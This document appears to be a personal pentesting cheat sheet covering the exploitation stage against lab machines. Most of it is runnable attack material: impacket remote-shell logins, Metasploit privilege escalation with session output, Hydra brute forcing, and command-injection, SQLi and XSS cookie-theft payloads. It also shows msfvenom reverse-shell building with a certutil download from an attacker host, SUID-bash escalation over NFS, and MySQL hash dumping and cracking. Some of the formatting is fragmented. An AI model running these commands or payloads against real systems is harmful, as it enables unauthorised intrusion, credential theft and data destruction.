The six steps/stages of a PenTest…
Outline of the Exploitation Stage:
cron
jobs (Linux)Exploit resources can be found in several places.
Central sites that specialize in exploits:
Many folks leave many devices with factory defaults. You can quickly look up the default login creds here:
Bloodhound is a tool to visualize Active Directory (AD) objects and permissions.
NOTE: Bloodhound cannot be used by itself. You need to feed this puppy…
Use curl to upload a file via http:
curl http://10.10.10.14/ --upload-file shell.asp -v
If you have user creds, you can use impacket to login and get a remote shell.
https://github.com/SecureAuthCorp/impacket
Grab the clone link and then cd into your /opt/ directory to run: git clone [cloneLink]
pip install .
Once you install, you have three options (the ps/powershell option is the most versatile; they others are a little quieter on the compromised system):
psexec.py username:'password'@10.0.0.1
smbexec.py username:'password'@10.0.0.1
wmiexec.py username:'password'@10.0.0.1
With a meterpreter shell and you are still not ROOT/SYSTEM, try to migrate your shell.
ps
to see the running processes on your target machine.migrate 1856
getuid
to see who you are… meterpreter > getuid Server username: NT AUTHORITY\NETWORK SERVICE
This still does not give you root/admin privileges, but it's a start.
Background your msfconsole session: background
suggester
# Try the first one... doesn't work use exploit/windows/local/ms14_058_track_popup_menu [*] Exploit completed, but no session was created. # Try the second one... works use exploit/windows/local/ms14_070_tcpip_ioctl [+] Exploitation successful! [*] Sending stage (176195 bytes) to 10.10.10.15 [*] Meterpreter session 2 opened (10.10.14.36:6666 -> 10.10.10.15:1031) at 2020-10-13 20:08:36 -0500 # Check your perms... you're in. meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
See here.
See here.
PowerShell syntax from a Windows cmd:
powershell.exe -exec bypass -Command "& {Import-Module .\Sherlock.ps1; Find-AllVulns}" # -exec bypass = bypass the execution policy (turn it off) # -Command = run the following command # Import-Module = a .ps1 file is a text file containing various PowerShell Scripts; it is a "module" # Find-AllVulns = one of the scripts ("functions") in the PS module named Sherlock.ps1
Interactive (online) credential “testing” usually focuses on brute-forcing a login.
Three common tools for interactive (online) credential testing:
Hydra (aka: THC-Hydra) is a brute-force dictionary-attack tool.
It's syntax is simple ( more info):
hydra -l [user_id] -P [wordlist] [target_IP] -t [timing] [protocol] # |-> login |-> passwords file
Medusa is a brute-force login tool (similar to Hydra; more info).
Patator is another brute-force login tool like Hydra and Medusa ( more info.
Command Injection Attacks: These are attacks that attempt to send commands through a web app to the operating system.
system()
call to send commands to the o/s itself.Example: If an app asks for a username to set up an account (assuming the username dbag)
system('mkdir /home/dbag')
dbag & rm -rf /home
system('mkdir /home/dbag & rm -rf /home')
SQL Injection: One quick way to check to see if the server is vulnerable to SQL injections, type the following into the query box.
' or '1'='1
Automates SQLi enumeration and exploitation. Use it only after you have manually verified there is indeed an SQLi vulnerability on the target.
Blind SQL injection takes two forms: boolean-based (T/F) and timing-based.
Boolean-Based Blind SQLi: Uses a boolean (T/F) SQL injection statement to test if the injected code gets through.
1=1
)# 1. TRUE test example. Your input into target web app: [valid input]' OR 1=1;-- # 2. FALSE test example. Your input into target web app: [valid input]' AND 1=2;--
Timing-Based Blind SQLi: relies on the amount of time required to process a query.
[valid input]'; WAITFOR DELAY '00:00:15';--
Tools: Metasploit & SQLMap.
In a reverse shell, a victim machine connects back to us at the attack machine.
https://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/ http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
PHP Reverse Shell:
In a bind shell, we connect to the target.
https://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/ (scroll down)
Google: “tty escape”
This came from TCM's walk-through of HTB Jerry.
If you get a cmd shell over on a target machine and need an additional exploit (like opening another reverse shell… meterpreter… and using msfconcole)…
Build a payload with msfvenom:
# Search for the payload you want # Example: target machine is Windows, 64-bit, and we want a meterpreter reverse tcp shell... msfvenom -l payloads | grep windows | grep 64 | grep meterpreter | grep reverse # Pick the payload you want and build the exploit (-p is for payload) # Use a port number that is different than the one you already have open msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.32 LPORT=5555 -f exe > sh.exe
Go into MetaSploit and start the listener:
use exploit/multi/handler set lhost 10.10.14.32 set lport 5555 set payload windows/x64/meterpreter/reverse_tcp #copy/paste from the msfvenom above run #to start the listener in MetaSploit
Spin up a web server in the subdir where your exploit is:
python -m SimpleHTTPServer 80 # Python 2 python -m http.server 80 # Python 3
Go back to your original listener (reverse shell) and use certutil
(like wget in Linux) to grab the exploit.
certutil -urlcache -f http://10.10.14.32/sh.exe sh.exe # Alternative Syntax: certutil -urlcache -split -f "http://10.10.14.32:80/gman.exe" gman.exe
Now you have the exploit on the target machine. Run it and you should get a reverse meterpreter shell in msfconsole (and you run hashdump
and other goodies).
Windows net
commands are built into all Windows systems.
command | Description |
---|---|
net view /domain | List the hosts in the current domain |
net user /domain | List the users in a domain |
net group /domain | List the groups in the domain |
net accounts /domain | Show the domain password policy |
net group “Domain Admins” /domain | Discover domain admin usernames 1) |
net share | Show the current SMB shares |
net session | Review SMB sessions 2) |
To grant access to a folder on the system for all users:
net share [name of share] c:\dir\of\your\choice\ /GRANT:Everyone FULL
SAM: Windows Security Accounts Manager Database
Because of this, the SAM will likely be one of your first targets once you gain access.
NOTE: Without appropriate privileges, this attack will not work.
Cross-Site Scripting (XSS)
If you find a site that allows text input that is reflected back to the user, see if you can abuse it by entering the following in the input box:
<script>alert("1");</script> # This should give you a pop-up with the number 1 in it (reflected back to you) <script>alert(document.cookie);</script> # Steal a cookie...
If you can store html (like in a bulletin board / forum, in your signature block), then you might try to include a <script>do bad things</script>
.
Remember: Enumeration is your friend!
SMB (Server Message Block) Protocol is a client-server communication protocol used for sharing access to files, printers, serial ports, and other resources on a network.
Samba is the standard Windows interoperability suite of programs for Linux and Unix.
Scanning Tool: nmap & tee (to see and save the output in a simple text file… grep it later for stuff… again: simple, easy)
nmap -sS -T4 -p- -A -vv [IP Address] | tee output-file.txt
When you run that and see a SMB service running (on either of the SMB ports: 139 or 445).
Additional Scan: Nmap scan to enumerate SMB/Samba shares:
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse [target IP]
SMB Scanning Tool: Enum4Linux
Enum4linux is a tool used to enumerate SMB shares on both Windows and Linux systems.
Exploit Tool: SMBClient
Syntax to remotely access an SMB share:
smbclient //[IP]/[SHARE] -U [username] -p [port] # # IP - target machine # SHARE - name of the share you want to connect to # -U - specify the username # -p - specify the port SMB is running on
Idea: Once you're in, maybe you can find a ~/.ssh/
directory with a id_rsa
private key file.
You can recursively download the SMB share too. (Submit the username and password as nothing.)
smbget -R smb://<ip>/anonymous
Telnet is a network protocol that allows a user on one computer to log into another computer that is part of the same network.
Syntax:
telnet [ip] [port]
Exploit: Dump a reverse shell payload into the target after you Telnet into it…
FTP (File Transfer Protocol) is a protocol used to transfer files over a network. It uses two ports:
An FTP server may support either Active or Passive connections, or both.
Scanning Tool: nmap & tee (to see and save the output in a simple text file… grep it later for stuff… again: simple, easy)
nmap -sS -T4 -p- -A -vv [IP Address] | tee output-file.txt
Exploit (Test) Tool: ftp
ftp
to see if you get an ftp>
prompt.Exloit Tool: Hydra
NFS (Network File System) allows a system to share directories and files with others over a network.
Scanning Tool: nmap & tee (to see and save the output in a simple text file… grep it later for stuff… again: simple, easy)
nmap -sS -T4 -p- -A -vv [IP Address] | tee output-file.txt # NSE to enumerate nfs mounts (assuming nmap scan showed rpcbind on port 111): # Find these scripts with: locate *nfs*.nse nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount [target IP] | tee output.txt
Exploit Tool: mount
Steps & Syntax:
First: list the NFS shares visible on your target:
/usr/sbin/showmount -e [Target IP]
Second:
mount -t nfs [IP]:[share] [/path/to/mnt/dir/] -nolock # # -t nfs - type of device to mount # IP:share - IP Address of NFS server and the name of the share to mount # -nolock - Specifies not to use NLM locking
Exploit: Priv Esc
If you acquire low-level (user-level) access to a machine that has an NFS share, you make be able escalate your privileges depending on how the target machine is configured.
root_squash: By default on NFS shares Root Squashing is enabled and prevents anyone from connecting to the NFS share with root privileges on the NFS volume.
Method: SUID
id_rsa
) and execute that bash shell executable to gain a root shell.Review: Here are the steps…
Example:
bash
file to the nfs share you mounted on your attack machine.chmod 6755 bash
to set SUID (-rwsr-sr-x
)./bash -p
(the -p
flag makes the permissions persistent; bash will sometimes drop root perms with SUID file).SMTP (Simple Mail Transfer Protocol) handles the sending of emails.
Standard Port: 25
Attack Vectors: Poorly configured or vulnerable mail servers can often provide an initial foothold into a network.
Enumerate Server Details: Prior to launching an attack we want to fingerprint the server to make our targeting as precise as possible.
Tool: MetaSploit - the smtp_version module
Enumerating Users from SMTP: SMTP has two internal commands that allow the enumeration of users (using these SMTP commands, we can reveal a list of valid users):
VRFY
- confirms the names of valid usersEXPN
- reveals the actual address of users' aliases and lists of e-mail (mailing lists).Tool: MetaSploit- the smtp_enum module
Note: This enumeration technique will work for the majority of SMTP configurations.
Steps:
smtp_version
on your target machine. This gets you the system mail (server) name and the Mail Transfer Agent (MTA) it is running.smtp_enum
on your target machine. This confirms the SMTP server name and MTA, and it also gives us any usernames found./usr/share/seclists/Usernames/top-usernames-shortlist.txt
MySQL is likely not going to be the first point of call when getting initial information about the server.
Typically, you will have gained some initial credentials from enumerating other services that you can then use to enumerate and exploit the MySQL service.
Step #1: Port scan the target to see what port the service we want to attack is using.
nmap -sS -T4 -vv -A -p- 10.10.68.144 | tee mysql_nmap_output.txt # Salient Results: 3306/tcp open mysql syn-ack ttl 61 MySQL 5.7.29-0ubuntu0.18.04.1 | mysql-info: | Protocol: 10 | Version: 5.7.29-0ubuntu0.18.04.1 │ Thread ID: 4 | Capabilities flags: 65535 | Some Capabilities: SupportsLoadDataLocal, IgnoreSigpipes, ConnectWithDatabase, | Support41Auth, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, SupportsTransactions, | InteractiveClient, FoundRows, SupportsCompression, LongPassword, SwitchToSSLAfterHandshake, | Speaks41ProtocolOld, DontAllowDatabaseTableColumn, LongColumnFlag, ODBCClient, | SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins | Status: Autocommit | Salt: S\x1Bk\6pc`IfP=^"L-\x1FD\x1Fw |_ Auth Plugin Name: mysql_native_password
Step #2: Try to connect to the MySQL server using the credentials we harvested during enumeration of a web server's subdomains: root:password.
mysql -h 10.10.68.144 -u root -p # # -h host # -u username # -p prompt for password
exit
and spin up Metasploit
Step #3: Use the mysql_sql
Metasploit module
msf6 auxiliary(admin/mysql/mysql_sql) > run [*] Running module against 10.10.68.144 [*] 10.10.68.144:3306 - Sending statement: 'select version()'... [*] 10.10.68.144:3306 - | 5.7.29-0ubuntu0.18.04.1 | [*] Auxiliary module execution completed
Step #4: Change the Metasploit module's SQL
option from “select version()” to “show databases” (these are SQL statements we are sending to the MySQL server; for additional statements, Google). Results:
msf6 auxiliary(admin/mysql/mysql_sql) > run [*] Running module against 10.10.68.144 [*] 10.10.68.144:3306 - Sending statement: 'show databases'... [*] 10.10.68.144:3306 - | information_schema | [*] 10.10.68.144:3306 - | mysql | [*] 10.10.68.144:3306 - | performance_schema | [*] 10.10.68.144:3306 - | sys | [*] Auxiliary module execution completed </code/ **Sanity Check:** What do we know thus far...? - The MySQL credentials: root:password - The version of MySQL running: 5.7.29-0ubuntu0.18.04.1 - The number and names of the databases on the server **Terms:** There are db terms you need to understand... * **Schema:** In MySQL //schema// and //database// are interchangable; they are synonyms. * **Hashes:** Hashes are, very simply, the product of a cryptographic algorithm to turn a variable length input into a fixed length output. * Sometimes db data will be hashed to make it faster to index and access the data. **Step #5:** Now we want to use the ''mysql_schemadump'' module. * This gets us the entire list of tables in all the databases, along with their column/record names. **Step #5:** Now use the ''mysql_hashdump'' module. * This shows you a list of users and their password hash. * You can grab the username:password_hash combo, save it to a text file (e.g., hash.txt) and then try to crack the password with something like John the Ripper: <code>John hash.txt
Step #6: People reuse passwords… so try the username:password combos you obtain (and crack).
1. nmap scan, normal
2. nse script scan (search for all mysql scripts and run them all):
nmap -sV -p 3306 -vv --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 10.10.68.144
This basically runs all the mysql-*.nse scripts:
/usr/share/nmap/scripts/mysql-audit.nse /usr/share/nmap/scripts/mysql-brute.nse /usr/share/nmap/scripts/mysql-databases.nse /usr/share/nmap/scripts/mysql-dump-hashes.nse /usr/share/nmap/scripts/mysql-empty-password.nse /usr/share/nmap/scripts/mysql-enum.nse /usr/share/nmap/scripts/mysql-info.nse /usr/share/nmap/scripts/mysql-query.nse /usr/share/nmap/scripts/mysql-users.nse /usr/share/nmap/scripts/mysql-variables.nse /usr/share/nmap/scripts/mysql-vuln-cve2012-2122.nse
If you obtain login creds (root:password), then login to the mysql server:
mysql -h 10.10.68.144 -u root -p
db of interest: mysql.user
list the fields/colums:
SHOW columns FROM mysql.user;
Find the username:password combo and:
SELECT user,authentication_string FROM mysql.user;
Then dump the username:password combo (in that syntax, one combo per line) into a text file and run John on it:
John text_file.txt
Show Users In MySQL: External how-to
Show all MySQL users:
mysql> SELECT user FROM mysql.user;
List only unique user names:
mysql> SELECT DISTINCT user FROM mysql.user;
Show MySQL users and hosts they are allowed to connect from:
mysql> SELECT user,host FROM mysql.user;
Show MySQL users, their passwords and hosts:
mysql> SELECT user,host,password FROM mysql.user;
In MySQL 5.7 and higher:
mysql> SELECT host,user,authentication_string FROM mysql.user;